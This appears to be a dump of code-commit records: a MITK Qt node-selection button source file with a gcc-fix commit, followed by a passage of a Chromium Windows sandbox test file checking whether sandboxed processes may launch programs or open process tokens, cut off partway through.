QImage::Format_ARGB32);\n\n thumbnailImage = thumbnailImage.scaledToHeight(height,Qt::SmoothTransformation).rgbSwapped();\n return QPixmap::fromImage(thumbnailImage);\n}\n\nQmitkNodeSelectionButton::QmitkNodeSelectionButton(QWidget *parent)\n : QPushButton(parent), m_OutDatedThumpNail(true), m_IsOptional(true), m_NodeModifiedObserverTag(0), m_NodeObserved(false), m_DataMTime(0), m_SelectionPropMTime(0)\n{ }\n\nQmitkNodeSelectionButton::~QmitkNodeSelectionButton()\n{\n this->RemoveNodeObserver();\n this->m_SelectedNode = nullptr;\n}\n\nvoid QmitkNodeSelectionButton::AddNodeObserver()\n{\n if (this->m_SelectedNode.IsNotNull())\n {\n if (m_NodeObserved)\n {\n MITK_DEBUG << \"Invalid observer state in QmitkNodeSelectionButton. There is already a registered observer. Internal logic is not correct. May be an old observer was not removed.\";\n }\n\n auto modifiedCommand = itk::MemberCommand<QmitkNodeSelectionButton>::New();\n modifiedCommand->SetCallbackFunction(this, &QmitkNodeSelectionButton::OnNodeModified);\n\n \/\/ const cast because we need non const nodes and it seems to be the lesser of two evil.\n \/\/ the changes to the node are only on the observer level. The other option would be to\n \/\/ make the public interface require non const nodes, this we don't want to introduce.\n auto nonconst_node = const_cast<mitk::DataNode*>(this->m_SelectedNode.GetPointer());\n m_NodeModifiedObserverTag = nonconst_node->AddObserver(itk::ModifiedEvent(), modifiedCommand);\n m_NodeObserved = true;\n }\n}\n\nvoid QmitkNodeSelectionButton::RemoveNodeObserver()\n{\n if (this->m_SelectedNode.IsNotNull())\n {\n \/\/ const cast because we need non const nodes and it seems to be the lesser of two evil.\n \/\/ the changes to the node are only on the observer level. The other option would be to\n \/\/ make the public interface require non const nodes, this we don't want to introduce.\n auto nonconst_node = const_cast<mitk::DataNode*>(this->m_SelectedNode.GetPointer());\n nonconst_node->RemoveObserver(m_NodeModifiedObserverTag);\n }\n m_NodeObserved = false;\n}\n\nitk::ModifiedTimeType GetSelectedPropMTime(const mitk::DataNode* node)\n{\n itk::ModifiedTimeType propMTime = 0;\n if (node)\n {\n auto prop = node->GetProperty(\"selected\", nullptr, false);\n if (prop)\n {\n propMTime = prop->GetMTime();\n }\n }\n return propMTime;\n}\n\nvoid QmitkNodeSelectionButton::OnNodeModified(const itk::Object * \/*caller*\/, const itk::EventObject & event)\n{\n if (itk::ModifiedEvent().CheckEvent(&event))\n {\n auto propMTime = GetSelectedPropMTime(this->m_SelectedNode);\n \/*this check is introduced because of T27069. If the afformentioned issue is fixed,\n this check can also be removed.*\/\n if (propMTime == this->m_SelectionPropMTime)\n {\n this->repaint();\n }\n\n this->m_SelectionPropMTime = propMTime;\n }\n}\n\nconst mitk::DataNode* QmitkNodeSelectionButton::GetSelectedNode() const\n{\n return m_SelectedNode;\n}\n\nvoid QmitkNodeSelectionButton::SetSelectedNode(const mitk::DataNode* node)\n{\n if (m_SelectedNode != node)\n {\n this->RemoveNodeObserver();\n this->m_SelectedNode = node;\n this->m_OutDatedThumpNail = true;\n this->m_SelectionPropMTime = GetSelectedPropMTime(node);\n this->AddNodeObserver();\n }\n\n this->update();\n}\n\nvoid QmitkNodeSelectionButton::SetNodeInfo(QString info)\n{\n this->m_Info = info;\n this->update();\n}\n\nvoid QmitkNodeSelectionButton::paintEvent(QPaintEvent *p)\n{\n QString stylesheet;\n\n ctkPluginContext* context = berry::WorkbenchPlugin::GetDefault()->GetPluginContext();\n ctkServiceReference styleManagerRef = context->getServiceReference<berry::IQtStyleManager>();\n if (styleManagerRef)\n {\n auto styleManager = context->getService<berry::IQtStyleManager>(styleManagerRef);\n stylesheet = styleManager->GetStylesheet();\n }\n\n QPushButton::paintEvent(p);\n\n QPainter painter(this);\n QTextDocument td(this);\n td.setDefaultStyleSheet(stylesheet);\n\n auto widgetSize = this->size();\n QPoint origin = QPoint(5, 5);\n\n if (this->m_SelectedNode)\n {\n auto iconLength = widgetSize.height() - 10;\n auto node = this->m_SelectedNode;\n\n itk::ModifiedTimeType dataMTime = 0;\n if (m_SelectedNode->GetData())\n {\n dataMTime = m_SelectedNode->GetData()->GetMTime();\n }\n if (dataMTime>m_DataMTime || this->m_OutDatedThumpNail)\n {\n this->m_ThumpNail = GetPixmapFromImageNode(node, iconLength);\n this->m_OutDatedThumpNail = false;\n m_DataMTime = dataMTime;\n }\n\n painter.drawPixmap(origin, m_ThumpNail);\n origin.setX(origin.x() + iconLength + 5);\n\n if (this->isEnabled())\n {\n td.setHtml(QString::fromStdString(\"<font class=\\\"normal\\\">\" + node->GetName() + \"<\/font>\"));\n }\n else\n {\n td.setHtml(QString::fromStdString(\"<font class=\\\"disabled\\\">\" + node->GetName() + \"<\/font>\"));\n }\n }\n else\n {\n if (this->isEnabled())\n {\n if (this->m_IsOptional)\n {\n td.setHtml(QString(\"<font class=\\\"normal\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n else\n {\n td.setHtml(QString(\"<font class=\\\"warning\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n }\n else\n {\n td.setHtml(QString(\"<font class=\\\"disabled\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n }\n\n auto textSize = td.size();\n\n origin.setY( (widgetSize.height() - textSize.height()) \/ 2.);\n\n painter.translate(origin);\n td.drawContents(&painter);\n}\n\nvoid QmitkNodeSelectionButton::changeEvent(QEvent *event)\n{\n if (event->type() == QEvent::EnabledChange)\n {\n this->repaint();\n }\n}\n\nbool QmitkNodeSelectionButton::GetSelectionIsOptional() const\n{\n return m_IsOptional;\n}\n\nvoid QmitkNodeSelectionButton::SetSelectionIsOptional(bool isOptional)\n{\n m_IsOptional = isOptional;\n this->repaint();\n}\n<commit_msg>Fixed gcc compiler errors<commit_after>\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n\n\n#include \"QmitkNodeSelectionButton.h\"\n\n\/\/ berry includes\n#include <berryWorkbenchPlugin.h>\n#include <berryQtStyleManager.h>\n\n#include \"QPainter\"\n#include \"QTextDocument\"\n#include \"QEvent\"\n\n#include <mitkDataNode.h>\n#include <QmitkNodeDescriptorManager.h>\n\n\/\/ mitk core\n#include <mitkBaseRenderer.h>\n#include <mitkDataNode.h>\n#include <mitkExtractSliceFilter.h>\n#include <vtkMitkLevelWindowFilter.h>\n#include <mitkPlanarFigure.h>\n#include <mitkPropertyNameHelper.h>\n\n\/\/ vtk\n#include <vtkLookupTable.h>\n\nQPixmap GetPixmapFromImageNode(const mitk::DataNode* dataNode, int height)\n{\n if (nullptr == dataNode)\n {\n return QPixmap();\n }\n\n const mitk::Image* image = dynamic_cast<const mitk::Image*>(dataNode->GetData());\n if ((nullptr == image || !image->IsInitialized()) || \/\/ -> must be an image\n (image->GetPixelType().GetNumberOfComponents() != 1)) \/\/ -> for now only single component are allowed\n {\n auto descManager = QmitkNodeDescriptorManager::GetInstance();\n auto desc = descManager->GetDescriptor(dataNode);\n auto icon = desc->GetIcon(dataNode);\n auto fallBackMap = icon.pixmap(height, height);\n return fallBackMap;\n }\n\n mitk::PlaneGeometry::Pointer planeGeometry = mitk::PlaneGeometry::New();\n int sliceNumber = image->GetDimension(2) \/ 2;\n planeGeometry->InitializeStandardPlane(image->GetGeometry(), mitk::PlaneGeometry::Axial, sliceNumber);\n\n mitk::ExtractSliceFilter::Pointer extractSliceFilter = mitk::ExtractSliceFilter::New();\n extractSliceFilter->SetInput(image);\n extractSliceFilter->SetInterpolationMode(mitk::ExtractSliceFilter::RESLICE_CUBIC);\n extractSliceFilter->SetResliceTransformByGeometry(image->GetGeometry());\n extractSliceFilter->SetWorldGeometry(planeGeometry);\n extractSliceFilter->SetOutputDimensionality(2);\n extractSliceFilter->SetVtkOutputRequest(true);\n extractSliceFilter->Update();\n\n vtkImageData* imageData = extractSliceFilter->GetVtkOutput();\n\n mitk::LevelWindow levelWindow;\n dataNode->GetLevelWindow(levelWindow);\n vtkSmartPointer<vtkLookupTable> lookupTable = vtkSmartPointer<vtkLookupTable>::New();\n lookupTable->SetRange(levelWindow.GetLowerWindowBound(), levelWindow.GetUpperWindowBound());\n lookupTable->SetSaturationRange(0.0, 0.0);\n lookupTable->SetValueRange(0.0, 1.0);\n lookupTable->SetHueRange(0.0, 0.0);\n lookupTable->SetRampToLinear();\n\n vtkSmartPointer<vtkMitkLevelWindowFilter> levelWindowFilter = vtkSmartPointer<vtkMitkLevelWindowFilter>::New();\n levelWindowFilter->SetLookupTable(lookupTable);\n levelWindowFilter->SetInputData(imageData);\n levelWindowFilter->SetMinOpacity(0.0);\n levelWindowFilter->SetMaxOpacity(1.0);\n int dims[3];\n imageData->GetDimensions(dims);\n double clippingBounds[] = { 0.0, static_cast<double>(dims[0]), 0.0, static_cast<double>(dims[1]) };\n levelWindowFilter->SetClippingBounds(clippingBounds);\n levelWindowFilter->Update();\n imageData = levelWindowFilter->GetOutput();\n\n QImage thumbnailImage(reinterpret_cast<const unsigned char*>(imageData->GetScalarPointer()), dims[0], dims[1], QImage::Format_ARGB32);\n\n thumbnailImage = thumbnailImage.scaledToHeight(height,Qt::SmoothTransformation).rgbSwapped();\n return QPixmap::fromImage(thumbnailImage);\n}\n\nQmitkNodeSelectionButton::QmitkNodeSelectionButton(QWidget *parent)\n : QPushButton(parent), m_OutDatedThumpNail(true), m_DataMTime(0), m_SelectionPropMTime(0), m_IsOptional(true), m_NodeModifiedObserverTag(0), m_NodeObserved(false)\n{ }\n\nQmitkNodeSelectionButton::~QmitkNodeSelectionButton()\n{\n this->RemoveNodeObserver();\n this->m_SelectedNode = nullptr;\n}\n\nvoid QmitkNodeSelectionButton::AddNodeObserver()\n{\n if (this->m_SelectedNode.IsNotNull())\n {\n if (m_NodeObserved)\n {\n MITK_DEBUG << \"Invalid observer state in QmitkNodeSelectionButton. There is already a registered observer. Internal logic is not correct. May be an old observer was not removed.\";\n }\n\n auto modifiedCommand = itk::MemberCommand<QmitkNodeSelectionButton>::New();\n modifiedCommand->SetCallbackFunction(this, &QmitkNodeSelectionButton::OnNodeModified);\n\n \/\/ const cast because we need non const nodes and it seems to be the lesser of two evil.\n \/\/ the changes to the node are only on the observer level. The other option would be to\n \/\/ make the public interface require non const nodes, this we don't want to introduce.\n auto nonconst_node = const_cast<mitk::DataNode*>(this->m_SelectedNode.GetPointer());\n m_NodeModifiedObserverTag = nonconst_node->AddObserver(itk::ModifiedEvent(), modifiedCommand);\n m_NodeObserved = true;\n }\n}\n\nvoid QmitkNodeSelectionButton::RemoveNodeObserver()\n{\n if (this->m_SelectedNode.IsNotNull())\n {\n \/\/ const cast because we need non const nodes and it seems to be the lesser of two evil.\n \/\/ the changes to the node are only on the observer level. The other option would be to\n \/\/ make the public interface require non const nodes, this we don't want to introduce.\n auto nonconst_node = const_cast<mitk::DataNode*>(this->m_SelectedNode.GetPointer());\n nonconst_node->RemoveObserver(m_NodeModifiedObserverTag);\n }\n m_NodeObserved = false;\n}\n\nitk::ModifiedTimeType GetSelectedPropMTime(const mitk::DataNode* node)\n{\n itk::ModifiedTimeType propMTime = 0;\n if (node)\n {\n auto prop = node->GetProperty(\"selected\", nullptr, false);\n if (prop)\n {\n propMTime = prop->GetMTime();\n }\n }\n return propMTime;\n}\n\nvoid QmitkNodeSelectionButton::OnNodeModified(const itk::Object * \/*caller*\/, const itk::EventObject & event)\n{\n if (itk::ModifiedEvent().CheckEvent(&event))\n {\n auto propMTime = GetSelectedPropMTime(this->m_SelectedNode);\n \/*this check is introduced because of T27069. If the afformentioned issue is fixed,\n this check can also be removed.*\/\n if (propMTime == this->m_SelectionPropMTime)\n {\n this->repaint();\n }\n\n this->m_SelectionPropMTime = propMTime;\n }\n}\n\nconst mitk::DataNode* QmitkNodeSelectionButton::GetSelectedNode() const\n{\n return m_SelectedNode;\n}\n\nvoid QmitkNodeSelectionButton::SetSelectedNode(const mitk::DataNode* node)\n{\n if (m_SelectedNode != node)\n {\n this->RemoveNodeObserver();\n this->m_SelectedNode = node;\n this->m_OutDatedThumpNail = true;\n this->m_SelectionPropMTime = GetSelectedPropMTime(node);\n this->AddNodeObserver();\n }\n\n this->update();\n}\n\nvoid QmitkNodeSelectionButton::SetNodeInfo(QString info)\n{\n this->m_Info = info;\n this->update();\n}\n\nvoid QmitkNodeSelectionButton::paintEvent(QPaintEvent *p)\n{\n QString stylesheet;\n\n ctkPluginContext* context = berry::WorkbenchPlugin::GetDefault()->GetPluginContext();\n ctkServiceReference styleManagerRef = context->getServiceReference<berry::IQtStyleManager>();\n if (styleManagerRef)\n {\n auto styleManager = context->getService<berry::IQtStyleManager>(styleManagerRef);\n stylesheet = styleManager->GetStylesheet();\n }\n\n QPushButton::paintEvent(p);\n\n QPainter painter(this);\n QTextDocument td(this);\n td.setDefaultStyleSheet(stylesheet);\n\n auto widgetSize = this->size();\n QPoint origin = QPoint(5, 5);\n\n if (this->m_SelectedNode)\n {\n auto iconLength = widgetSize.height() - 10;\n auto node = this->m_SelectedNode;\n\n itk::ModifiedTimeType dataMTime = 0;\n if (m_SelectedNode->GetData())\n {\n dataMTime = m_SelectedNode->GetData()->GetMTime();\n }\n if (dataMTime>m_DataMTime || this->m_OutDatedThumpNail)\n {\n this->m_ThumpNail = GetPixmapFromImageNode(node, iconLength);\n this->m_OutDatedThumpNail = false;\n m_DataMTime = dataMTime;\n }\n\n painter.drawPixmap(origin, m_ThumpNail);\n origin.setX(origin.x() + iconLength + 5);\n\n if (this->isEnabled())\n {\n td.setHtml(QString::fromStdString(\"<font class=\\\"normal\\\">\" + node->GetName() + \"<\/font>\"));\n }\n else\n {\n td.setHtml(QString::fromStdString(\"<font class=\\\"disabled\\\">\" + node->GetName() + \"<\/font>\"));\n }\n }\n else\n {\n if (this->isEnabled())\n {\n if (this->m_IsOptional)\n {\n td.setHtml(QString(\"<font class=\\\"normal\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n else\n {\n td.setHtml(QString(\"<font class=\\\"warning\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n }\n else\n {\n td.setHtml(QString(\"<font class=\\\"disabled\\\">\") + m_Info + QString(\"<\/font>\"));\n }\n }\n\n auto textSize = td.size();\n\n origin.setY( (widgetSize.height() - textSize.height()) \/ 2.);\n\n painter.translate(origin);\n td.drawContents(&painter);\n}\n\nvoid QmitkNodeSelectionButton::changeEvent(QEvent *event)\n{\n if (event->type() == QEvent::EnabledChange)\n {\n this->repaint();\n }\n}\n\nbool QmitkNodeSelectionButton::GetSelectionIsOptional() const\n{\n return m_IsOptional;\n}\n\nvoid QmitkNodeSelectionButton::SetSelectionIsOptional(bool isOptional)\n{\n m_IsOptional = isOptional;\n this->repaint();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <string>\n#include <memory>\n\n#include \"base\/scoped_handle.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"sandbox\/src\/sandbox.h\"\n#include \"sandbox\/src\/sandbox_policy.h\"\n#include \"sandbox\/src\/sandbox_factory.h\"\n#include \"sandbox\/tests\/common\/controller.h\"\n\nnamespace {\n\n\/\/ The next 2 functions are copied from base\\string_util.h and have been\n\/\/ slighty modified because we don't want to depend on ICU.\ntemplate <class char_type>\ninline char_type* WriteInto(\n std::basic_string<char_type, std::char_traits<char_type>,\n std::allocator<char_type> >* str,\n size_t length_including_null) {\n str->reserve(length_including_null);\n str->resize(length_including_null - 1);\n return &((*str)[0]);\n}\n\nstd::string WideToMultiByte(const std::wstring& wide) {\n if (wide.length() == 0)\n return std::string();\n\n \/\/ compute the length of the buffer we'll need\n int charcount = WideCharToMultiByte(CP_UTF8, 0, wide.c_str(), -1,\n NULL, 0, NULL, NULL);\n if (charcount == 0)\n return std::string();\n\n std::string mb;\n WideCharToMultiByte(CP_UTF8, 0, wide.c_str(), -1,\n WriteInto(&mb, charcount), charcount, NULL, NULL);\n\n return mb;\n}\n\n\/\/ While the shell API provides better calls than this home brew function\n\/\/ we use GetSystemWindowsDirectoryW which does not query the registry so\n\/\/ it is safe to use after revert.\nstd::wstring MakeFullPathToSystem32(const wchar_t* name) {\n wchar_t windows_path[MAX_PATH] = {0};\n ::GetSystemWindowsDirectoryW(windows_path, MAX_PATH);\n std::wstring full_path(windows_path);\n if (full_path.empty()) {\n return full_path;\n }\n full_path += L\"\\\\system32\\\\\";\n full_path += name;\n return full_path;\n}\n\n\/\/ Creates a process with the |exe| and |command| parameter using the\n\/\/ unicode and ascii version of the api.\nsandbox::SboxTestResult CreateProcessHelper(const std::wstring &exe,\n const std::wstring &command) {\n PROCESS_INFORMATION pi;\n STARTUPINFOW si = {sizeof(si)};\n\n wchar_t *exe_name = NULL;\n if (!exe.empty())\n exe_name = const_cast<wchar_t*>(exe.c_str());\n\n wchar_t *cmd_line = NULL;\n if (!command.empty())\n cmd_line = const_cast<wchar_t*>(command.c_str());\n\n \/\/ Create the process with the unicode version of the API.\n sandbox::SboxTestResult ret1 = sandbox::SBOX_TEST_FAILED;\n if (!::CreateProcessW(exe_name, cmd_line, NULL, NULL, FALSE, 0, NULL,\n NULL, &si, &pi)) {\n DWORD last_error = GetLastError();\n if ((ERROR_NOT_ENOUGH_QUOTA == last_error) ||\n (ERROR_ACCESS_DENIED == last_error) ||\n (ERROR_FILE_NOT_FOUND == last_error)) {\n ret1 = sandbox::SBOX_TEST_DENIED;\n } else {\n ret1 = sandbox::SBOX_TEST_FAILED;\n }\n } else {\n ret1 = sandbox::SBOX_TEST_SUCCEEDED;\n }\n\n \/\/ Do the same with the ansi version of the api\n STARTUPINFOA sia = {sizeof(sia)};\n sandbox::SboxTestResult ret2 = sandbox::SBOX_TEST_FAILED;\n\n if (!::CreateProcessA(\n exe_name ? WideToMultiByte(exe_name).c_str() : NULL,\n cmd_line ? const_cast<char*>(WideToMultiByte(cmd_line).c_str()) : NULL,\n NULL, NULL, FALSE, 0, NULL, NULL, &sia, &pi)) {\n DWORD last_error = GetLastError();\n if ((ERROR_NOT_ENOUGH_QUOTA == last_error) ||\n (ERROR_ACCESS_DENIED == last_error) ||\n (ERROR_FILE_NOT_FOUND == last_error)) {\n ret2 = sandbox::SBOX_TEST_DENIED;\n } else {\n ret2 = sandbox::SBOX_TEST_FAILED;\n }\n } else {\n ret2 = sandbox::SBOX_TEST_SUCCEEDED;\n }\n\n if (ret1 == ret2)\n return ret1;\n\n return sandbox::SBOX_TEST_FAILED;\n}\n\n} \/\/ namespace\n\nnamespace sandbox {\n\n\/\/ Tries to create the process in argv[0] using 7 different ways.\n\/\/ Since we also try the Ansi and Unicode version of the CreateProcess API,\n\/\/ The process referenced by argv[0] will be spawned 14 times.\nSBOX_TESTS_COMMAND int Process_RunApp(int argc, wchar_t **argv) {\n if (argc != 1) {\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n }\n if ((NULL != argv) && (NULL == argv[0])) {\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n }\n std::wstring path = MakeFullPathToSystem32(argv[0]);\n\n \/\/ TEST 1: Try with the path in the app_name.\n int result1 = CreateProcessHelper(path, std::wstring());\n\n \/\/ TEST 2: Try with the path in the cmd_line.\n std::wstring cmd_line = L\"\\\"\";\n cmd_line += path;\n cmd_line += L\"\\\"\";\n int result2 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 3: Try file name in the cmd_line.\n int result3 = CreateProcessHelper(std::wstring(), argv[0]);\n\n \/\/ TEST 4: Try file name in the app_name and current directory sets correctly.\n std::wstring system32 = MakeFullPathToSystem32(L\"\");\n wchar_t current_directory[MAX_PATH + 1];\n int result4;\n bool test_succeeded = false;\n DWORD ret = ::GetCurrentDirectory(MAX_PATH, current_directory);\n if (0 != ret && ret < MAX_PATH) {\n current_directory[ret] = L'\\\\';\n current_directory[ret+1] = L'\\0';\n if (::SetCurrentDirectory(system32.c_str())) {\n result4 = CreateProcessHelper(argv[0], std::wstring());\n if (::SetCurrentDirectory(current_directory)) {\n test_succeeded = true;\n }\n }\n }\n if (!test_succeeded)\n result4 = SBOX_TEST_FAILED;\n\n \/\/ TEST 5: Try with the path in the cmd_line and arguments.\n cmd_line = L\"\\\"\";\n cmd_line += path;\n cmd_line += L\"\\\" \/INSERT\";\n int result5 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 6: Try with the file_name in the cmd_line and arguments.\n cmd_line = argv[0];\n cmd_line += L\" \/INSERT\";\n int result6 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ TEST 7: Try with the path without the drive.\n cmd_line = path.substr(path.find(L'\\\\'));\n int result7 = CreateProcessHelper(std::wstring(), cmd_line);\n\n \/\/ Check if they all returned the same thing.\n if ((result1 == result2) && (result2 == result3) && (result3 == result4) &&\n (result4 == result5) && (result5 == result6) && (result6 == result7))\n return result1;\n\n return SBOX_TEST_FAILED;\n}\n\n\/\/ Creates a process and checks if it's possible to get a handle to it's token.\nSBOX_TESTS_COMMAND int Process_GetChildProcessToken(int argc, wchar_t **argv) {\n if (argc != 1)\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n if ((NULL != argv) && (NULL == argv[0]))\n return SBOX_TEST_FAILED_TO_EXECUTE_COMMAND;\n\n std::wstring path = MakeFullPathToSystem32(argv[0]);\n\n PROCESS_INFORMATION pi = {0};\n STARTUPINFOW si = {sizeof(si)};\n\n if (!::CreateProcessW(path.c_str(), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,\n NULL, NULL, &si, &pi)) {\n return SBOX_TEST_FAILED;\n }\n\n ScopedHandle process(pi.hProcess);\n ScopedHandle thread(pi.hThread);\n\n HANDLE token = NULL;\n BOOL result = ::OpenProcessToken(process.Get(), TOKEN_IMPERSONATE, &token);\n DWORD error = ::GetLastError();\n\n ScopedHandle token_handle(token);\n\n if (!::TerminateProcess(process.Get(), 0))\n return SBOX_TEST_FAILED;\n\n if (result && token)\n return SBOX_TEST_SUCCEEDED;\n\n if (ERROR_ACCESS_DENIED == error)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\n\nSBOX_TESTS_COMMAND int Process_OpenToken(int argc, wchar_t **argv) {\n HANDLE token;\n if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_ALL_ACCESS, &token)) {\n if (ERROR_ACCESS_DENIED == ::GetLastError()) {\n return SBOX_TEST_DENIED;\n }\n } else {\n ::CloseHandle(token);\n return SBOX_TEST_SUCCEEDED;\n }\n\n return SBOX_TEST_FAILED;\n}\n\nTEST(ProcessPolicyTest, TestAllAccess) {\n \/\/ Check if the \"all access\" rule fails to be added when the token is too\n \/\/ powerful.\n TestRunner runner;\n\n \/\/ Check the failing case.\n runner.GetPolicy()->SetTokenLevel(USER_INTERACTIVE, USER_LOCKDOWN);\n EXPECT_EQ(SBOX_ERROR_UNSUPPORTED,\n runner.GetPolicy()->AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n L\"this is not important\"));\n\n \/\/ Check the working case.\n runner.GetPolicy()->SetTokenLevel(USER_INTERACTIVE, USER_INTERACTIVE);\n\n EXPECT_EQ(SBOX_ALL_OK,\n runner.GetPolicy()->AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n L\"this is not important\"));\n}\n\nTEST(ProcessPolicyTest, RunFindstrExe) {\n TestRunner runner;\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n std::wstring system32 = MakeFullPathToSystem32(L\"\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_MIN_EXEC,\n exe_path.c_str()));\n\n \/\/ Need to add directory rules for the directories that we use in\n \/\/ SetCurrentDirectory.\n EXPECT_TRUE(runner.AddFsRule(TargetPolicy::FILES_ALLOW_DIR_ANY,\n system32.c_str()));\n\n wchar_t current_directory[MAX_PATH];\n DWORD ret = ::GetCurrentDirectory(MAX_PATH, current_directory);\n ASSERT_TRUE(0 != ret && ret < MAX_PATH);\n\n wcscat_s(current_directory, MAX_PATH, L\"\\\\\");\n EXPECT_TRUE(runner.AddFsRule(TargetPolicy::FILES_ALLOW_DIR_ANY,\n current_directory));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Process_RunApp findstr.exe\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Process_RunApp calc.exe\"));\n}\n\nTEST(ProcessPolicyTest, OpenToken) {\n TestRunner runner;\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Process_OpenToken\"));\n}\n\nTEST(ProcessPolicyTest, TestGetProcessTokenMinAccess) {\n TestRunner runner;\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_MIN_EXEC,\n exe_path.c_str()));\n\n EXPECT_EQ(SBOX_TEST_DENIED,\n runner.RunTest(L\"Process_GetChildProcessToken findstr.exe\"));\n}\n\nTEST(ProcessPolicyTest, TestGetProcessTokenMaxAccess) {\n TestRunner runner(JOB_UNPROTECTED, USER_INTERACTIVE, USER_INTERACTIVE);\n std::wstring exe_path = MakeFullPathToSystem32(L\"findstr.exe\");\n ASSERT_TRUE(!exe_path.empty());\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_PROCESS,\n TargetPolicy::PROCESS_ALL_EXEC,\n exe_path.c_str()));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED,\n runner.RunTest(L\"Process_GetChildProcessToken findstr.exe\"));\n}\n\n} \/\/ namespace sandbox\n<commit_msg>Disable ProcessPolicyTest.RunFindstrExe until it can be made to work on any Windows drive. B=1305476 R=nsylvain<commit_after>\/\/ Copyright 2008, Google Inc.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above\n\/\/ copyright notice, this list of conditions and the following disclaimer\n\/\/ in the documentation and\/or other materials provided with the\n\/\/ distribution.\n\/\/ * Neither the name of Google Inc. nor the names of its\n\/\/ contributors may be used to endorse or promote products derived from\n\/\/ this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\/\/ \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n\/\/ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n\/\/ A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n\/\/ OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n\/\/ SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n\/\/ LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n\/\/ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n\/\/ THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n\/\/ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n\/\/ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#include <string>\n#include <memory>\n\n#include \"base\/scoped_handle.h\"\n#include 